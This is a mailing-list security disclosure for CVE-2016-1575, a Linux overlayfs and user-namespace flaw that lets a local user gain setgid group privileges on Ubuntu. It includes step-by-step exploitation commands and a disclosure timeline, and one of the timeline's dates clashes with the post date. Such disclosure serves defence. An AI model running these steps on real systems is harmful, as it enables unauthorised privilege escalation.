Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 24 Feb 2016 05:58:04 +0000
From: halfdog <>
Subject: User Namespaces Overlayfs Xattr Setgid Privilege Escalation:

Hash: SHA1



* Problem description:

Linux user namespace allows to mount file systems as normal user,
including the overlayfs. As many of those features were not designed
with namespaces in mind, this increase the attack surface of the Linux
kernel interface.

Overlayfs was intended to allow create writeable filesystems when
running on readonly medias, e.g. on a live-CD. In such scenario, the
lower filesystem contains the read-only data from the medium, the
upper filesystem part is mixed with the lower part. This mixture is
then presented as an overlayfs at a given mount point. When writing to
this overlayfs, the write will only modify the data in upper, which
may reside on a tmpfs for that purpose.

Due to inheritance of Posix ACL information (xattrs) when copying up
overlayfs files and not cleaning those additional and unintended ACL
attribues, SGID directories may become user writable, thus allowing to
gain privileges of this group using methods described in [0]. On
standard Ubuntu system, this allows to gain access to groups staff,
mail, libuuid.


* Target Selection:

Suitable target directories can be easily found using find / -perm
- -02020 2> /dev/null. On standard Ubuntu system those are:

/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)

Exploitation can be done just combining standard tools with the [0]
exploit. The following steps include command variants needed for
different operating systems. They have to be executed in two
processes, one inside the user namespace, the other one outside of it.


test$ wget -q
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of
targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of
targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily


test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily


root# chmod 02777 mnt/[targetdir]
root# umount mnt


test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
- -rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x

Results, Discussion:

On Ubuntu, exploitation allows interference with mail spool and allows
to gain privileges of other python processes using python
dist-packages owned by user root.staff. If root user calls a python
process in that way, e.g. via apport crash dump tool, local root
escalation is completed.

According to [1], directories or binaries owned by group staff are in
the default PATH of the root user, hence local root escalation is trivial.


* 20160116: Discovery, report at Launchpad [2]
* 20160122: Patch to disable unprivileged userns due to this and other
issues [3]
* 20160217: CVE-2016-1575 linked on launchpad [4]
* 20161122: CRD and publication




- --
PGP: 156A AE98 B91F 0114 FE88  2BD8 C459 9386 feed a bee
Version: GnuPG v1


Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.